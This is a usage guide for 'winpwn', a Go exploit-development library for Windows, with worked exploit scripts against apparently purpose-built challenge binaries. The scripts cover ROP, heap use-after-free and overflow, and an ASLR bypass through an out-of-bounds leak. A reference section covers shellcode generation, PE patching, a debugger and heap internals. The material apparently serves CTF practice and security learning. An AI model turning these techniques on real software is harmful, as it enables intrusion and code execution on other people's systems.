741 lines
25 KiB
Markdown
741 lines
25 KiB
Markdown
# winpwn usage guide
|
|
|
|
Worked examples, then a function-by-function reference.
|
|
|
|
## Setup
|
|
|
|
Write solve scripts in `C:\tools\workspace\`, not inside `go_pwner\` (the library
|
|
source).
|
|
|
|
```
|
|
C:\tools\
|
|
├── go_pwner\ ← library source
|
|
└── workspace\ ← solve scripts
|
|
├── go.mod ← replace winpwn => ../go_pwner
|
|
└── mytask\
|
|
├── main.go
|
|
└── chal.exe
|
|
```
|
|
|
|
```bash
|
|
cd C:\tools\workspace
|
|
mkdir mytask && cd mytask
|
|
copy path\to\chal.exe .
|
|
# write main.go, then:
|
|
go run .
|
|
```
|
|
|
|
`import "winpwn"` resolves anywhere inside `workspace\` via the `replace`
|
|
directive in `go.mod`. Examples below assume the working directory holds the
|
|
target binary and are run with `go run main.go`.
|
|
|
|
## Example 1 — info leak + redirect
|
|
|
|
Target ([workspace/task1_leak](workspace/task1_leak)) leaks the address of
|
|
`main`, then reads a hex address from stdin and jumps to it. No ASLR, so `win()`
|
|
is at a fixed offset from `main`.
|
|
|
|
```go
|
|
tube, err := winpwn.Spawn("./task1.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
|
|
log.Fatalf("RecvUntil: %v", err)
|
|
}
|
|
addrBytes, err := tube.RecvUntil([]byte("\n"))
|
|
mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
|
|
|
|
winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg
|
|
payload := fmt.Sprintf("%x", winAddr)
|
|
|
|
if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
tube.Interactive()
|
|
```
|
|
|
|
```
|
|
[+] Leaked main: 0x7FF71CC51657
|
|
[+] Calculated win: 0x7FF71CC5154C
|
|
Your input: 7ff71cc5154c
|
|
You won!
|
|
flag{FLAG}
|
|
[*] Process exited normally (code 0)
|
|
```
|
|
|
|
## Example 2 — checksec + ROP + verified gadget chain
|
|
|
|
Target ([workspace/task2_rop](workspace/task2_rop)) is DEP-protected with
|
|
`win(int secret)` exported (`__declspec(dllexport)`) and a stack overflow in
|
|
`vulnerable()`. Win condition: return into `win()` with RCX = `0xdeadbeef`.
|
|
|
|
Confirm mitigations:
|
|
|
|
```go
|
|
pf, _ := winpwn.OpenPE("task2.exe")
|
|
r, _ := pf.Checksec()
|
|
// r.ASLR == false, r.DEP == true
|
|
```
|
|
|
|
Resolve `win()` from the export table:
|
|
|
|
```go
|
|
winRVA, _ := pf.GetProcAddress("win")
|
|
imageBase, _ := pf.ImageBase()
|
|
winAddr := imageBase + winRVA
|
|
```
|
|
|
|
Find and verify a `pop rcx ; ret` gadget:
|
|
|
|
```go
|
|
rop, _ := winpwn.NewROP("task2.exe") // requires rp-win.exe (see ROP section)
|
|
defer rop.Close()
|
|
|
|
popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match
|
|
|
|
lines, _ := rop.Disassemble(popRcx, 2)
|
|
fmt.Println(lines) // ["pop rcx", "ret"]
|
|
```
|
|
|
|
Build and send the chain:
|
|
|
|
```go
|
|
ret := retGadgets[0].Address // bare "ret" for stack alignment
|
|
|
|
payload := bytes.Repeat([]byte("A"), offset)
|
|
payload = append(payload, winpwn.P64(popRcx)...)
|
|
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
|
payload = append(payload, winpwn.P64(ret)...)
|
|
payload = append(payload, winpwn.P64(winAddr)...)
|
|
|
|
tube, _ := winpwn.Spawn("task2.exe")
|
|
tube.SendLineAfter([]byte("Input: "), payload)
|
|
tube.Interactive()
|
|
```
|
|
|
|
`offset` is the distance from the buffer to the saved return address. For this
|
|
build it is 56 bytes (`buf` at `rbp-0x30`, plus the 8-byte saved RBP), not the
|
|
40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with
|
|
`objdump -d` / `rop.Disassemble` / a cyclic pattern; do not assume the source
|
|
comment's number.
|
|
|
|
```
|
|
[+] win() address: 0x140001538
|
|
[+] pop rcx; ret address: 0x140002740
|
|
[*] verified: [pop rcx ret]
|
|
you just got shell
|
|
[*] Switching to interactive mode
|
|
Microsoft Windows [Version 10.0.19045.5737]
|
|
C:\...\task2_rop>
|
|
```
|
|
|
|
## Example 3 — LFH use-after-free
|
|
|
|
Target ([workspace/heap_lfh](workspace/heap_lfh)) creates a private heap forced
|
|
into LFH mode via `HeapSetInformation(heap, HeapCompatibilityInformation, 2)`.
|
|
It manages `Note{ char title[24]; void (*onPrint)(const char*); }` (32 bytes):
|
|
`A <text>` allocates and leaks the address, `F <id>` frees without clearing the
|
|
pointer, `B <hex32bytes>` allocates a raw 32-byte buffer, `P <id>` calls
|
|
`notes[id]->onPrint(...)` with no liveness check (the bug).
|
|
|
|
Technique: allocate filler notes, allocate the victim last, free it, then spray
|
|
32-byte buffers (each a fake `Note` with `onPrint = win()`), checking each
|
|
spray's leaked address against the victim's. Freeing the most recently allocated
|
|
same-size object makes the freed slot come back within a handful of attempts.
|
|
|
|
```go
|
|
for i := 0; i < 5; i++ {
|
|
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
|
|
tube.RecvLine()
|
|
}
|
|
tube.SendLine([]byte("A victim"))
|
|
resp, _ := tube.RecvLine()
|
|
victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..."
|
|
tube.SendLine([]byte("F 5"))
|
|
tube.RecvLine()
|
|
|
|
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
|
payloadHex := winpwn.Enhex(payload)
|
|
|
|
// Seed with the freed victim's address; stop when a spray matches it.
|
|
victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr}
|
|
_, _, attempts, ok, _ := winpwn.SprayAndFind(
|
|
[]winpwn.SprayResult[uint64]{victim}, 64,
|
|
func(attempt int) (winpwn.SprayResult[uint64], error) {
|
|
tube.SendLine([]byte("B " + payloadHex))
|
|
resp, err := tube.RecvLine()
|
|
addr, perr := parseAddr(resp)
|
|
if perr != nil {
|
|
err = perr
|
|
}
|
|
return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err
|
|
},
|
|
func(a, b uint64) bool { return a == b },
|
|
)
|
|
tube.SendLine([]byte("P 5")) // onPrint is now win()
|
|
tube.Interactive()
|
|
```
|
|
|
|
Note: which object you free determines whether reuse happens in ~1 attempt or not
|
|
at all. Freeing an early allocation and waiting for it to return this way is
|
|
unreliable — LFH favors the subsegment being actively filled. Every grooming
|
|
number here was measured on one Windows build (10.0.26100); re-measure per target.
|
|
|
|
## Example 4 — Segment Heap adjacent-chunk overflow
|
|
|
|
Target ([workspace/heap_segment](workspace/heap_segment)) opts into Segment Heap
|
|
via an embedded manifest (`<heapType>SegmentHeap</heapType>`). It manages
|
|
`Profile{ char name[24]; void (*describe)(const char*); }` (32 bytes). Bug:
|
|
`O <id> <hex>` `memcpy`s `len(hex)/2` bytes at `profiles[id]` with no bounds
|
|
check. The heap signature at `GetProcessHeap()+0x10` is `0xddeeddee` (Segment
|
|
Heap); `0xffeeffee` would be NT Heap.
|
|
|
|
Segment Heap randomizes placement within the page, so sequential allocations are
|
|
not adjacent in memory. Technique: spray, leak every address, find any pair
|
|
exactly `sizeof(Profile)` = 32 bytes apart; the lower one overflows into the
|
|
higher one's `describe` field.
|
|
|
|
```go
|
|
// No seed: each new sample is checked against all prior samples.
|
|
a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20,
|
|
func(i int) (winpwn.SprayResult[uint64], error) {
|
|
tube.SendLine([]byte(fmt.Sprintf("A filler%d", i)))
|
|
resp, err := tube.RecvLine()
|
|
id, addr, perr := parseIDAndAddr(resp)
|
|
if perr != nil {
|
|
err = perr
|
|
}
|
|
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
|
|
},
|
|
func(x, y uint64) bool {
|
|
d := int64(y) - int64(x)
|
|
return d == 32 || d == -32 // sizeof(Profile)
|
|
},
|
|
)
|
|
attackerID, victimID := a.ID, b.ID
|
|
if a.Key > b.Key { // lower address overflows forward
|
|
attackerID, victimID = b.ID, a.ID
|
|
}
|
|
|
|
payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...)
|
|
tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload))))
|
|
tube.SendLine([]byte(fmt.Sprintf("D %d", victimID)))
|
|
tube.Interactive()
|
|
```
|
|
|
|
The same `SprayAndFind` primitive handles Example 3 (equality match) and this
|
|
case (distance match) with a different `match` function. The 32-byte distance and
|
|
"spray 20 finds a pair" are facts about this struct on this build; re-measure.
|
|
|
|
## Example 5 — native debugger session
|
|
|
|
Composes `SpawnSuspended`/`ResumeMainThread` (target has not executed an
|
|
instruction when the debugger attaches) with `Attach`, and breaks at the PE's
|
|
real entry point (ASLR-safe: resolve the module base at runtime, add the disk
|
|
PE's entry RVA).
|
|
|
|
```go
|
|
diskPE, _ := winpwn.OpenPE("target.exe")
|
|
diskBase, _ := diskPE.ImageBase()
|
|
diskEntry, _ := diskPE.EntryPoint()
|
|
diskPE.Close()
|
|
entryRVA := diskEntry - diskBase
|
|
|
|
tube, pid, _ := winpwn.SpawnSuspended("target.exe")
|
|
dbg, _ := winpwn.Attach(pid)
|
|
winpwn.ResumeMainThread(pid)
|
|
|
|
var bpSet bool
|
|
for ev := range dbg.Events() {
|
|
if !bpSet {
|
|
if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil {
|
|
dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA))
|
|
bpSet = true
|
|
}
|
|
}
|
|
hitEntry := ev.Kind == winpwn.EventBreakpoint
|
|
if hitEntry {
|
|
regs, _ := dbg.GetContext(ev.ThreadID)
|
|
fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp)
|
|
}
|
|
dbg.Continue(ev) // every event, breakpoint included
|
|
if hitEntry {
|
|
break
|
|
}
|
|
}
|
|
dbg.Close()
|
|
tube.Close()
|
|
```
|
|
|
|
Notes:
|
|
- `ResolveModuleBase` fails on the first event or two (loader not run yet); the
|
|
loop retries each event until it succeeds.
|
|
- A breakpoint event's `Rip` reads back exactly equal to the breakpoint address.
|
|
The CPU leaves `Rip` one byte past the `int3`; `Attach` rewinds it before the
|
|
event is delivered.
|
|
- `Continue` past a breakpoint re-arms it (restore byte, single-step, rewrite
|
|
`0xCC`), so the loop must call `Continue` even on the event it breaks out on.
|
|
|
|
## Example 6 — UAF type confusion, no LFH
|
|
|
|
Two same-size (32-byte) structs: `Note{char title[24]; void(*onPrint)(char*)}`
|
|
and `Token{char data[24]; void(*validate)(char*)}`. `D` frees a Note but leaves
|
|
the table pointer. No LFH, so the freed slot returns on the next 32-byte
|
|
allocation ([workspace/heap_typemix](workspace/heap_typemix)).
|
|
|
|
```go
|
|
tube.SendLine([]byte("N victim"))
|
|
resp, _ := tube.RecvLine() // "OK id=0 addr=0x..."
|
|
victimAddr, _ := parseAddr(resp)
|
|
|
|
tube.SendLine([]byte("D 0"))
|
|
tube.RecvLine()
|
|
|
|
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
|
|
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
|
|
tube.RecvLine()
|
|
|
|
tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win()
|
|
tube.Interactive()
|
|
```
|
|
|
|
## Example 7 — adjacent-chunk overflow, NT Heap backend
|
|
|
|
`Note{char buf[24]; void(*action)(char*)}` = 32 bytes. `W <id> <hex>` writes
|
|
hex-decoded bytes to `note->buf` with no bounds check. Two notes allocated
|
|
sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent.
|
|
Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT `_HEAP_ENTRY`
|
|
header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; `win()` at offset 72
|
|
([workspace/heap_overflow](workspace/heap_overflow)).
|
|
|
|
```go
|
|
tube.SendLine([]byte("A note0"))
|
|
tube.RecvLine()
|
|
tube.SendLine([]byte("A note1"))
|
|
tube.RecvLine()
|
|
|
|
payload := bytes.Repeat([]byte{0x41}, 24) // note[0].buf
|
|
payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0].action
|
|
payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header
|
|
payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf
|
|
payload = append(payload, winpwn.P64(winAddr)...) // note[1].action = win()
|
|
|
|
tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload)))
|
|
tube.RecvLine()
|
|
tube.SendLine([]byte("C 1"))
|
|
tube.Interactive()
|
|
```
|
|
|
|
## Example 8 — OOB read defeats ASLR + UAF
|
|
|
|
ASLR enabled (`winpwn checksec` shows `ASLR: Yes`). `S <id> <len>` prints `len`
|
|
bytes of `note->data` with no bounds check, leaking the 8-byte `onShow` pointer
|
|
(= `real_show`, an export). The static RVA difference between `win` and
|
|
`real_show` gives `win()` ([workspace/heap_info_leak](workspace/heap_info_leak)).
|
|
|
|
```go
|
|
// Static RVA difference (constant regardless of ASLR)
|
|
pf, _ := winpwn.OpenPE("heap_info_leak.exe")
|
|
realShowRVA, _ := pf.GetProcAddress("real_show")
|
|
winRVA, _ := pf.GetProcAddress("win")
|
|
rvaDiff := int64(winRVA) - int64(realShowRVA)
|
|
pf.Close()
|
|
|
|
// Leak onShow via OOB read
|
|
tube.SendLine([]byte("N victim"))
|
|
tube.RecvLine()
|
|
tube.SendLine([]byte("S 0 32")) // 24 safe, request 32
|
|
resp, _ := tube.RecvLine() // "HEX <64hexchars>"
|
|
|
|
hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX "))))
|
|
realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32])
|
|
winVA := uint64(int64(realShowVA) + rvaDiff)
|
|
|
|
// UAF (as Example 6)
|
|
tube.SendLine([]byte("D 0"))
|
|
tube.RecvLine()
|
|
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
|
|
tube.SendLine([]byte("T " + winpwn.Enhex(payload)))
|
|
tube.RecvLine()
|
|
tube.SendLine([]byte("P 0"))
|
|
tube.Interactive()
|
|
```
|
|
|
|
---
|
|
|
|
## Function reference
|
|
|
|
### Tubes (`tube.go`, `process.go`, `remote.go`)
|
|
|
|
```go
|
|
t, err := winpwn.Spawn("./target.exe") // local process
|
|
t, err := winpwn.Remote("host", "1337") // TCP
|
|
|
|
t.Send([]byte("data")) // no trailing newline
|
|
t.SendLine([]byte("data")) // + Context.Newline
|
|
t.SendAfter([]byte("delim"), []byte("data"))
|
|
t.SendLineAfter([]byte("delim"), []byte("data"))
|
|
|
|
buf, err := t.Recv(64) // up to 64 bytes
|
|
line, err := t.RecvUntil([]byte("delim")) // inclusive of delim
|
|
line, err := t.RecvLine() // == RecvUntil(Context.Newline)
|
|
data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 })
|
|
data, err := t.RecvRegex(regexp.MustCompile(`\d+`))
|
|
|
|
t.SetTimeout(2 * time.Second) // overrides Context.Timeout
|
|
t.Interactive() // hand stdin/stdout to the terminal
|
|
t.Close() // idempotent
|
|
```
|
|
|
|
Every `Send*`/`Recv*` returns `error`.
|
|
|
|
### Named pipes (`pipe_windows.go`)
|
|
|
|
```go
|
|
tube, err := winpwn.ServePipe("mypipe") // server: \\.\pipe\mypipe, blocks for one client
|
|
tube, err := winpwn.DialPipe("mypipe") // client
|
|
```
|
|
|
|
Returns a `*Tube`; every tube method works over a named pipe. Opened with
|
|
`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`.
|
|
|
|
### Context & logging (`context.go`, `log.go`)
|
|
|
|
```go
|
|
winpwn.Context.Timeout = 5 * time.Second // global default for new tubes
|
|
winpwn.Context.LogLevel = winpwn.LogLevelSilent
|
|
|
|
winpwn.Info("leaked: 0x%x", addr) // [*]
|
|
winpwn.Success("got shell") // [+]
|
|
winpwn.Warn("retrying") // [!]
|
|
winpwn.Error("gadget not found") // [-]
|
|
```
|
|
|
|
### Packing (`packing.go`)
|
|
|
|
```go
|
|
winpwn.P16(0x1234) // []byte{0x34, 0x12}
|
|
winpwn.P32(addr32)
|
|
winpwn.P64(addr64)
|
|
winpwn.U32(buf)
|
|
winpwn.U64(buf)
|
|
```
|
|
|
|
### Cyclic patterns (`cyclic.go`)
|
|
|
|
```go
|
|
pattern := winpwn.Cyclic(200) // de Bruijn, n=4 (default)
|
|
pattern8 := winpwn.CyclicN(200, 8) // n=8, for 64-bit pointer offsets
|
|
|
|
offset := winpwn.CyclicFind(crashedRIPBytes) // n=4
|
|
offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8
|
|
```
|
|
|
|
### Fiddling (`fiddling.go`)
|
|
|
|
```go
|
|
winpwn.Hexdump(data) // hex+ASCII dump, string
|
|
hexStr := winpwn.Enhex(data)
|
|
raw, err := winpwn.Unhex(hexStr)
|
|
xored := winpwn.Xor(data, []byte{0x41}) // key cycles if shorter than data
|
|
```
|
|
|
|
### PE parsing (`pe.go`, `sections.go`)
|
|
|
|
```go
|
|
pf, err := winpwn.OpenPE("target.exe")
|
|
defer pf.Close()
|
|
|
|
base, _ := pf.ImageBase()
|
|
entry, _ := pf.EntryPoint()
|
|
is64, _ := pf.Is64Bit()
|
|
|
|
for _, sec := range pf.Sections() {
|
|
sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX()
|
|
sec.VirtualAddress // RVA in the loaded image
|
|
sec.Offset // PointerToRawData, file offset on disk
|
|
entropy, _ := sec.Entropy()
|
|
}
|
|
packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold
|
|
|
|
offsets, err := pf.SearchBytes([]byte("cmd.exe\x00"))
|
|
|
|
// Distinct imported DLLs, each LoadLibrary'd for its live image base.
|
|
// System DLL bases are randomized per boot, not per process, so this is valid
|
|
// machine-wide until the next reboot without running the target.
|
|
libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err}
|
|
```
|
|
|
|
Live-process memory, not just a disk file (`procmem_windows.go`):
|
|
|
|
```go
|
|
base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll")
|
|
pf, err := winpwn.OpenPEFromProcess(pid, base)
|
|
// every accessor (Checksec, ListExports, NewROP, ...) works identically here
|
|
```
|
|
|
|
### Loaded-module symbols (`symbols_windows.go`)
|
|
|
|
Analogue of pwntools' `p.libs` / `p.symbols`. For multiple lookups, use
|
|
`ProcessSymbols`:
|
|
|
|
```go
|
|
tube, _ := winpwn.Spawn("chal.exe")
|
|
sym := winpwn.NewProcessSymbols(tube.PID()) // tube.PID() -> uint32
|
|
defer sym.Close()
|
|
|
|
k32, _ := sym.Base("kernel32.dll") // p.libs["kernel32.dll"]
|
|
winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"]
|
|
mods, _ := sym.Modules() // map[string]uint64
|
|
all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64
|
|
```
|
|
|
|
`ProcessSymbols` caches one `PEFile` per DLL. For one-off lookups:
|
|
|
|
```go
|
|
libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr
|
|
va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec")
|
|
```
|
|
|
|
### Checksec (`checksec.go`)
|
|
|
|
```go
|
|
r, err := pf.Checksec()
|
|
// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable
|
|
// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET
|
|
```
|
|
|
|
`VerifyAuthenticodeSignature(path)` ([authenticode_windows.go](authenticode_windows.go))
|
|
verifies a signature via `WinVerifyTrust`, not just its presence.
|
|
|
|
### Exports / imports (`exports.go`, `imports.go`)
|
|
|
|
```go
|
|
exports, err := pf.ListExports() // []Export{Name, Ordinal, RVA, ForwardTarget}
|
|
fnRVA, err := pf.GetProcAddress("CreateFileW")
|
|
|
|
imports, err := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA}
|
|
imp, err := pf.FindImport("VirtualProtect") // whether the binary imports X
|
|
```
|
|
|
|
### ROP gadgets (`gadgets.go`, `rop.go`)
|
|
|
|
`NewROP` shells out to `rp-win.exe` (resolved from `RP_WIN_EXE` or
|
|
`C:\tools\rp-win\rp-win.exe`), run with `--allow-branches`, so results include
|
|
JOP transit gadgets (`jmp reg`/`call reg`) as well as ret-terminated ones.
|
|
|
|
```go
|
|
rop, err := winpwn.NewROP("target.exe")
|
|
defer rop.Close()
|
|
|
|
addr := rop.Find("pop rcx ; ret")[0].Address // ranked, index 0 = cleanest
|
|
gadgets, err := rop.Search("pop rcx ; ret") // same search, (results, error)
|
|
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match
|
|
lines, err := rop.Disassemble(addr, 3) // verify a chain in-script
|
|
|
|
ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path
|
|
```
|
|
|
|
`Find` indexes into an empty slice (panics) on no match — a deliberate loud
|
|
failure at the lookup rather than a garbage address downstream.
|
|
|
|
### Patching (`patch.go`)
|
|
|
|
```go
|
|
pf, err := winpwn.OpenPEForWrite("target.exe")
|
|
defer pf.Close()
|
|
|
|
pf.MakeSectionExecutable(".data")
|
|
pf.MakeSectionWritable(".text")
|
|
pf.DisableTLSCallbacks()
|
|
pf.PatchBytes(rva, []byte{0x90, 0x90})
|
|
pf.RecalculateChecksum()
|
|
```
|
|
|
|
### Shellcode (`shellcraft.go`, `shellcode_exec_windows.go`)
|
|
|
|
```go
|
|
code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB
|
|
err := winpwn.ExecuteShellcode(code) // run locally to validate the template
|
|
```
|
|
|
|
### Minidump (`minidump.go`)
|
|
|
|
```go
|
|
m, err := winpwn.OpenMinidump("crash.dmp")
|
|
defer m.Close()
|
|
|
|
mods, err := m.Modules() // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...}
|
|
exc, err := m.Exception() // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters}
|
|
raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively
|
|
```
|
|
|
|
### Debugger (`debugger_windows.go`)
|
|
|
|
```go
|
|
tube, pid, err := winpwn.SpawnSuspended("target.exe")
|
|
dbg, err := winpwn.Attach(pid) // before ResumeMainThread to see everything
|
|
winpwn.ResumeMainThread(pid)
|
|
|
|
for ev := range dbg.Events() {
|
|
// ev.Kind: EventBreakpoint/EventException/EventCreateProcess/
|
|
// EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/
|
|
// EventUnloadDll/EventOutputDebugString
|
|
if ev.Kind == winpwn.EventBreakpoint {
|
|
regs, _ := dbg.GetContext(ev.ThreadID) // Rax..R15, Rsp, Rbp, Rip, EFlags
|
|
dbg.SetContext(ev.ThreadID, regs)
|
|
data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32)
|
|
dbg.WriteMemory(someAddr, []byte{0x90})
|
|
}
|
|
dbg.Continue(ev) // required for every event
|
|
}
|
|
|
|
dbg.SetBreakpoint(addr) // software INT3; Continue re-arms it
|
|
dbg.RemoveBreakpoint(addr)
|
|
dbg.Step(tid) // single-step (not meaningful right at a fresh breakpoint hit)
|
|
dbg.Close() // detach without killing the target
|
|
```
|
|
|
|
### Heap struct parsing (`heap.go`, `heap_lfh.go`, `heap_segment.go`, `heap_windows.go`)
|
|
|
|
All heap APIs work against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a
|
|
test buffer). Only `ListProcessHeaps` needs a live process (walks the PEB).
|
|
|
|
```go
|
|
// Find heaps
|
|
heaps, err := winpwn.ListProcessHeaps(pid) // reads PEB.ProcessHeaps
|
|
kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment
|
|
|
|
// NT Heap
|
|
h, err := winpwn.ReadHeap(mem, heapAddr)
|
|
// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap
|
|
// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive()
|
|
|
|
entries, err := h.WalkAllHeapEntries(mem) // all segments
|
|
entries, err := h.WalkSegment0(mem) // embedded Segment0 only
|
|
|
|
// Entry fields
|
|
e.Addr; e.BlockSize(); e.UserSize(); e.UserData()
|
|
e.Busy(); e.LastEntry(); e.VirtualAlloc()
|
|
e.PreviousBlockSize(); e.NextEntry()
|
|
|
|
// Analysis
|
|
stats := winpwn.SummariseEntries(entries) // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes
|
|
pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry
|
|
subset := winpwn.EntriesInRange(entries, lo, hi)
|
|
hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2)
|
|
|
|
// Segments
|
|
segAddrs, err := h.Segments(mem)
|
|
_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr)
|
|
entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil())
|
|
|
|
// NT Heap LFH
|
|
buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap)
|
|
bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16
|
|
|
|
subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index)
|
|
subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index)
|
|
|
|
subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr)
|
|
// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr
|
|
|
|
off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address
|
|
addr := subseg.BlockAddress(off, slotIndex)
|
|
idx, ok := subseg.SlotOf(off, knownAddr)
|
|
|
|
// Segment Heap
|
|
sh, err := winpwn.ReadSegmentHeap(mem, heapAddr)
|
|
// sh.GlobalFlags
|
|
// sh.VS -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments}
|
|
// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}}
|
|
|
|
// Address-level adjacency (no chunk-header decode; operates on leaked addresses)
|
|
pairs := winpwn.AdjacentAddressPairs(addrs, 32) // all (lo, lo+32) pairs
|
|
lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair
|
|
```
|
|
|
|
Empirical facts for build 10.0.26100 (verify on other builds):
|
|
- LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go
|
|
to the backend and do not appear in the LFH subsegment structure.
|
|
- `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — calibrate with
|
|
`CalibrateLFHFirstBlockOffset` against a known address.
|
|
- `_HEAP_VS_CHUNK_HEADER.Sizes` is XOR-encoded and not decoded in this pass.
|
|
- NT Heap entry XOR-encoding is decoded transparently by walk functions.
|
|
- `heap_handle + 0x2c0` stores a pointer within ntdll (observed `ntdll+~0x163d10`
|
|
on this build) — usable for an ntdll base leak from a heap address.
|
|
|
|
### Spray helper (`spray.go`)
|
|
|
|
```go
|
|
older, newer, attempts, ok, err := winpwn.SprayAndFind(
|
|
seed, // []winpwn.SprayResult[K]{} or pre-seeded with a known target
|
|
maxAttempts,
|
|
func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ },
|
|
func(a, b K) bool { /* the relation: equality, "N apart", etc. */ },
|
|
)
|
|
```
|
|
|
|
Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes.
|
|
|
|
### CLI (`cmd/winpwn`)
|
|
|
|
```
|
|
winpwn checksec target.exe # mitigations + sections + imported DLLs' live base
|
|
winpwn cyclic 200
|
|
winpwn cyclic -l aaab
|
|
winpwn hexdump target.exe
|
|
winpwn rop target.exe -search "pop rcx ; ret"
|
|
winpwn rop target.exe -regex "^pop r.* ; ret$"
|
|
winpwn bytes target.exe ebfe # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe"
|
|
winpwn disasm target.exe 0x140001538 5
|
|
winpwn exports target.dll
|
|
winpwn imports target.exe
|
|
winpwn hex / winpwn unhex # stdin-piped
|
|
winpwn heap <pid> # enumerate all heaps in a live process
|
|
winpwn heap <pid> -walk # also walk NT Heap entries: busy/free counts + adjacent pairs
|
|
```
|
|
|
|
`winpwn rop`/`NewROP` require `rp-win.exe`; a missing tool is a clear error naming
|
|
the env var to set.
|
|
|
|
### cmd/pwninit
|
|
|
|
```
|
|
cd path\to\task_dir
|
|
copy \path\to\chal.exe .
|
|
pwninit # auto-detects the lone .exe/.dll
|
|
```
|
|
|
|
Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live
|
|
base), then writes a `go.mod` (`replace winpwn => <path>`, from `WINPWN_HOME` or
|
|
`C:\tools\go_pwner`) and a minimal `main.go` (`Spawn` + `Interactive`). Will not
|
|
overwrite an existing `go.mod`/`main.go` without `-force`.
|
|
|
|
`winpwn heap <pid>` output:
|
|
|
|
```
|
|
pid 5160: 3 heap(s)
|
|
|
|
[0] 0x0000000000080000 Segment Heap
|
|
GlobalFlags=0x00000000
|
|
